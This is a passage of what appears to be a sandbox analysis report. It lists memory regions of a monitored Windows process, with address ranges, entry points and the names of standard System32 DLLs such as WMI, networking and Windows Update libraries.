"\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 2239 start_va = 0x7ffd3c980000 end_va = 0x7ffd3c990fff monitored = 0 entry_point = 0x7ffd3c987480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 2240 start_va = 0x7ffd3c9a0000 end_va = 0x7ffd3ca23fff monitored = 0 entry_point = 0x7ffd3c9b8d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 2241 start_va = 0x7ffd3ca30000 end_va = 0x7ffd3ca45fff monitored = 0 entry_point = 0x7ffd3ca31af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2242 start_va = 0x7ffd3ca50000 end_va = 0x7ffd3ca69fff monitored = 0 entry_point = 0x7ffd3ca52330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2243 start_va = 0x7ffd3ca70000 end_va = 0x7ffd3ca7cfff monitored = 0 entry_point = 0x7ffd3ca71420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2244 start_va = 0x7ffd3cb30000 end_va = 0x7ffd3cb45fff monitored = 0 entry_point = 0x7ffd3cb355e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2245 start_va = 0x7ffd3cb50000 end_va = 0x7ffd3cc25fff monitored = 0 entry_point = 0x7ffd3cb7a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 2246 start_va = 0x7ffd3cc30000 end_va = 0x7ffd3cc93fff monitored = 0 entry_point = 0x7ffd3cc4bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 2247 start_va = 0x7ffd3cca0000 end_va = 0x7ffd3ccc4fff monitored = 0 entry_point = 0x7ffd3cca9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2248 start_va = 0x7ffd3ccd0000 end_va = 0x7ffd3cdc5fff monitored = 0 entry_point = 0x7ffd3cd09590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2249 start_va = 0x7ffd3cdd0000 end_va = 0x7ffd3cf06fff monitored = 0 entry_point = 0x7ffd3ce10480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 2250 start_va = 0x7ffd3cf30000 end_va = 0x7ffd3cf3efff monitored = 0 entry_point = 0x7ffd3cf34960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 2251 start_va = 0x7ffd3d070000 end_va = 0x7ffd3d080fff monitored = 0 entry_point = 0x7ffd3d072fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2252 start_va = 0x7ffd3d090000 end_va = 0x7ffd3d0adfff monitored = 0 entry_point = 0x7ffd3d093a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2253 start_va = 0x7ffd3d0b0000 end_va = 0x7ffd3d131fff monitored = 0 entry_point = 0x7ffd3d0b2a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 2254 start_va = 0x7ffd3d150000 end_va = 0x7ffd3d163fff monitored = 0 entry_point = 0x7ffd3d151800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2255 start_va = 0x7ffd3d170000 end_va = 0x7ffd3d1e3fff monitored = 0 entry_point = 0x7ffd3d185eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 2256 start_va = 0x7ffd3dd00000 end_va = 0x7ffd3dd3ffff monitored = 0 entry_point = 0x7ffd3dd0cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 2257 start_va = 0x7ffd3dd40000 end_va = 0x7ffd3dd86fff monitored = 0 entry_point = 0x7ffd3dd41d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 2258 start_va = 0x7ffd3dd90000 end_va = 0x7ffd3ddd1fff monitored = 0 entry_point = 0x7ffd3dd93670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 2259 start_va = 0x7ffd3e040000 end_va = 0x7ffd3e05efff monitored = 0 entry_point = 0x7ffd3e0437e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 2260 start_va = 0x7ffd3e060000 end_va = 0x7ffd3e0d8fff monitored = 0 entry_point = 0x7ffd3e0676a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 2261 start_va = 0x7ffd3e330000 end_va = 0x7ffd3e347fff monitored = 0 entry_point = 0x7ffd3e334e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 2262 start_va = 0x7ffd3e350000 end_va = 0x7ffd3e374fff monitored = 0 entry_point = 0x7ffd3e355ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 2263 start_va = 0x7ffd3e380000 end_va = 0x7ffd3e422fff monitored = 0 entry_point = 0x7ffd3e382c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 2264 start_va = 0x7ffd3e430000 end_va = 0x7ffd3e481fff monitored = 0 entry_point = 0x7ffd3e435770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 2265 start_va = 0x7ffd3e490000 end_va = 0x7ffd3e4bdfff monitored = 1 entry_point = 0x7ffd3e492300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 2266 start_va = 0x7ffd3e4c0000 end_va = 0x7ffd3e51dfff monitored = 0 entry_point = 0x7ffd3e4c5080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 2267 start_va = 0x7ffd3e520000 end_va = 0x7ffd3e53ffff monitored = 0 entry_point = 0x7ffd3e521f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 2268 start_va = 0x7ffd3e540000 end_va = 0x7ffd3e548fff monitored = 0 entry_point = 0x7ffd3e5418f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 2269 start_va = 0x7ffd3e550000 end_va = 0x7ffd3e560fff monitored = 0 entry_point = 0x7ffd3e551d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 2270 start_va = 0x7ffd3e570000 end_va = 0x7ffd3e5b0fff monitored = 0 entry_point = 0x7ffd3e573750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 2271 start_va = 0x7ffd3e5c0000 end_va = 0x7ffd3e6b2fff monitored = 0 entry_point = 0x7ffd3e5e5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 2272 start_va = 0x7ffd3e700000 end_va = 0x7ffd3e74bfff monitored = 0 entry_point = 0x7ffd3e715310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 2273 start_va = 0x7ffd3e990000 end_va = 0x7ffd3e9a3fff monitored = 0 entry_point = 0x7ffd3e993710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 2274 start_va = 0x7ffd3e9b0000 end_va = 0x7ffd3e9d7fff monitored = 0 entry_point = 0x7ffd3e9befc0 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 2275 start_va = 0x7ffd3ea40000 end_va = 0x7ffd3ea5dfff monitored = 0 entry_point = 0x7ffd3ea4ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 2276 start_va = 0x7ffd3ea60000 end_va = 0x7ffd3ea77fff monitored = 0 entry_point = 0x7ffd3ea62000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2277 start_va = 0x7ffd3ea80000 end_va = 0x7ffd3ec01fff monitored = 0 entry_point = 0x7ffd3ea982a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2278 start_va = 0x7ffd3ec90000 end_va = 0x7ffd3ed0efff monitored = 0 entry_point = 0x7ffd3eca7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2279 start_va = 0x7ffd3ed10000 end_va = 0x7ffd3ed4bfff monitored = 0 entry_point = 0x7ffd3ed16aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 2280 start_va = 0x7ffd3ed50000 end_va = 0x7ffd3ed5bfff monitored = 0 entry_point = 0x7ffd3ed535c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2281 start_va = 0x7ffd40230000 end_va = 0x7ffd40296fff monitored = 0 entry_point = 0x7ffd4023b160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 2282 start_va = 0x7ffd402d0000 end_va = 0x7ffd40304fff monitored = 0 entry_point = 0x7ffd402da270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 2283 start_va = 0x7ffd40310000 end_va = 0x7ffd4038ffff monitored = 0 entry_point = 0x7ffd4033d280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2284 start_va = 0x7ffd403c0000 end_va = 0x7ffd403fffff monitored = 0 entry_point = 0x7ffd403d6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2285 start_va = 0x7ffd40770000 end_va = 0x7ffd40782fff monitored = 0 entry_point = 0x7ffd40771b10 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 2286 start_va = 0x7ffd40790000 end_va = 0x7ffd40811fff monitored = 0 entry_point = 0x7ffd40791790 region_type = mapped_file name = "newdev.dll" filename = "\\Windows\\System32\\newdev.dll" (normalized: "c:\\windows\\system32\\newdev.dll") Region: id = 2287 start_va = 0x7ffd40820000 end_va = 0x7ffd408a3fff monitored = 0 entry_point = 0x7ffd40832830 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 2288 start_va = 0x7ffd408b0000 end_va = 0x7ffd40914fff monitored = 0 entry_point = 0x7ffd408c3170 region_type = mapped_file name = "wuuhext.dll" filename = "\\Windows\\System32\\wuuhext.dll" (normalized: "c:\\windows\\system32\\wuuhext.dll") Region: id = 2289 start_va = 0x7ffd40920000 end_va = 0x7ffd40b55fff monitored = 0 entry_point = 0x7ffd409aa450 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 2290 start_va = 0x7ffd40b80000 end_va = 0x7ffd40ba1fff monitored = 0 entry_point = 0x7ffd40b92540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 2291 start_va = 0x7ffd40bb0000 end_va = 0x7ffd40c84fff monitored = 0 entry_point = 0x7ffd40bccf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2292 start_va = 0x7ffd40d50000 end_va = 0x7ffd40d58fff monitored = 0 entry_point = 0x7ffd40d521d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 2293 start_va = 0x7ffd40d60000 end_va = 0x7ffd41058fff monitored = 0 entry_point = 0x7ffd40e27280 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2294 start_va = 0x7ffd410e0000 end_va = 0x7ffd410f5fff monitored = 0 entry_point = 0x7ffd410e1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 2295 start_va = 0x7ffd414c0000 end_va = 0x7ffd417f9fff monitored = 0 entry_point = 0x7ffd414c8520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2296 start_va = 0x7ffd41d70000 end_va = 0x7ffd41d79fff monitored = 0 entry_point = 0x7ffd41d71350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2297 start_va = 0x7ffd422e0000 end_va = 0x7ffd422f1fff monitored = 0 entry_point = 0x7ffd422e3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2298 start_va = 0x7ffd44840000 end_va = 0x7ffd4485afff monitored = 0 entry_point = 0x7ffd44841040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2299 start_va = 0x7ffd44af0000 end_va = 0x7ffd44af9fff monitored = 0 entry_point = 0x7ffd44af14c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2300 start_va = 0x7ffd44b00000 end_va = 0x7ffd44b0dfff monitored = 0 entry_point = 0x7ffd44b01460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2301 start_va = 0x7ffd44b10000 end_va = 0x7ffd44b23fff monitored = 0 entry_point = 0x7ffd44b12a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 2302 start_va = 0x7ffd44b30000 end_va = 0x7ffd44b44fff monitored = 0 entry_point = 0x7ffd44b32dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 2303 start_va = 0x7ffd44b50000 end_va = 0x7ffd44b5bfff monitored = 0 entry_point = 0x7ffd44b52830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 2304 start_va = 0x7ffd45150000 end_va = 0x7ffd4515ffff monitored = 0 entry_point = 0x7ffd45151700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 2305 start_va = 0x7ffd45160000 end_va = 0x7ffd45168fff monitored = 0 entry_point = 0x7ffd45161ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 2306 start_va = 0x7ffd45170000 end_va = 0x7ffd4519cfff monitored = 0 entry_point = 0x7ffd45172290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 2307 start_va = 0x7ffd451a0000 end_va = 0x7ffd451f1fff monitored = 0 entry_point = 0x7ffd451a38e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 2308 start_va = 0x7ffd452a0000 end_va = 0x7ffd452b4fff monitored = 0 entry_point = 0x7ffd452a3460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 2309 start_va = 0x7ffd45390000 end_va = 0x7ffd45429fff monitored = 0 entry_point = 0x7ffd453aada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 2310 start_va = 0x7ffd45440000 end_va = 0x7ffd454a6fff monitored = 0 entry_point = 0x7ffd454463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2311 start_va = 0x7ffd45500000 end_va = 0x7ffd455bffff monitored = 0 entry_point = 0x7ffd4552fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 2312 start_va = 0x7ffd455c0000 end_va = 0x7ffd4566dfff monitored = 0 entry_point = 0x7ffd455d80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 2313 start_va = 0x7ffd45670000 end_va = 0x7ffd45681fff monitored = 0 entry_point = 0x7ffd45679260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 2314 start_va = 0x7ffd45690000 end_va = 0x7ffd45740fff monitored = 0 entry_point = 0x7ffd457088b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 2315 start_va = 0x7ffd45750000 end_va = 0x7ffd4575afff monitored = 0 entry_point = 0x7ffd45751d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2316 start_va = 0x7ffd45760000 end_va = 0x7ffd45784fff monitored = 0 entry_point = 0x7ffd45772f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 2317 start_va = 0x7ffd45790000 end_va = 0x7ffd457a0fff monitored = 0 entry_point = 0x7ffd45797ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 2318 start_va = 0x7ffd458a0000 end_va = 0x7ffd458b9fff monitored = 0 entry_point = 0x7ffd458a2cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 2319 start_va = 0x7ffd458c0000 end_va = 0x7ffd45914fff monitored = 0 entry_point = 0x7ffd458c3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 2320 start_va = 0x7ffd45920000 end_va = 0x7ffd45956fff monitored = 0 entry_point = 0x7ffd45926020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 2321 start_va = 0x7ffd45960000 end_va = 0x7ffd4597ffff monitored = 0 entry_point = 0x7ffd459639a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 2322 start_va = 0x7ffd45a10000 end_va = 0x7ffd45a29fff monitored = 0 entry_point = 0x7ffd45a12430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2323 start_va = 0x7ffd45a30000 end_va = 0x7ffd45a45fff monitored = 0 entry_point = 0x7ffd45a319f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2324 start_va = 0x7ffd45aa0000 end_va = 0x7ffd45ae0fff monitored = 0 entry_point = 0x7ffd45aa4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 2325 start_va = 0x7ffd45b60000 end_va = 0x7ffd45b73fff monitored = 0 entry_point = 0x7ffd45b62d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2326 start_va = 0x7ffd45e60000 end_va = 0x7ffd45ef2fff monitored = 0 entry_point = 0x7ffd45e69680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 2327 start_va = 0x7ffd45f20000 end_va = 0x7ffd45f2afff monitored = 0 entry_point = 0x7ffd45f21de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 2328 start_va = 0x7ffd45f30000 end_va = 0x7ffd45f4efff monitored = 0 entry_point = 0x7ffd45f34960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 2329 start_va = 0x7ffd460b0000 end_va = 0x7ffd460e7fff monitored = 0 entry_point = 0x7ffd460c8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2330 start_va = 0x7ffd46190000 end_va = 0x7ffd461a8fff monitored = 0 entry_point = 0x7ffd46194520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2331 start_va = 0x7ffd46650000 end_va = 0x7ffd4665bfff monitored = 0 entry_point = 0x7ffd466514d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 2332 start_va = 0x7ffd46920000 end_va = 0x7ffd469e7fff monitored = 0 entry_point = 0x7ffd469613f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2333 start_va = 0x7ffd469f0000 end_va = 0x7ffd46a50fff monitored = 0 entry_point = 0x7ffd469f4b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 2334 start_va = 0x7ffd46a60000 end_va = 0x7ffd46bdbfff monitored = 0 entry_point = 0x7ffd46ab1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 2335 start_va = 0x7ffd46be0000 end_va = 0x7ffd46beafff monitored = 0 entry_point = 0x7ffd46be1770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 2336 start_va = 0x7ffd46dd0000 end_va = 0x7ffd46eb5fff monitored = 0 entry_point = 0x7ffd46decf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 2337 start_va = 0x7ffd47080000 end_va = 0x7ffd47401fff monitored = 0 entry_point = 0x7ffd470d1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2338 start_va = 0x7ffd47410000 end_va = 0x7ffd47545fff monitored = 0 entry_point = 0x7ffd4743f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 2339 start_va = 0x7ffd48640000 end_va = 0x7ffd4874dfff monitored = 0 entry_point = 0x7ffd4868eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 2340 start_va = 0x7ffd48a50000 end_va = 0x7ffd48a66fff monitored = 0 entry_point = 0x7ffd48a55630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 2341 start_va = 0x7ffd48a70000 end_va = 0x7ffd48ab9fff monitored = 0 entry_point = 0x7ffd48a7ac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 2342 start_va = 0x7ffd48b10000 end_va = 0x7ffd48b4dfff monitored = 0 entry_point = 0x7ffd48b1a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2343 start_va = 0x7ffd48b50000 end_va = 0x7ffd48b76fff monitored = 0 entry_point = 0x7ffd48b53bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 2344 start_va = 0x7ffd48b80000 end_va = 0x7ffd48bf9fff monitored = 0 entry_point = 0x7ffd48ba7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2345 start_va = 0x7ffd48c00000 end_va = 0x7ffd48c12fff monitored = 0 entry_point = 0x7ffd48c057f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 2346 start_va = 0x7ffd48c20000 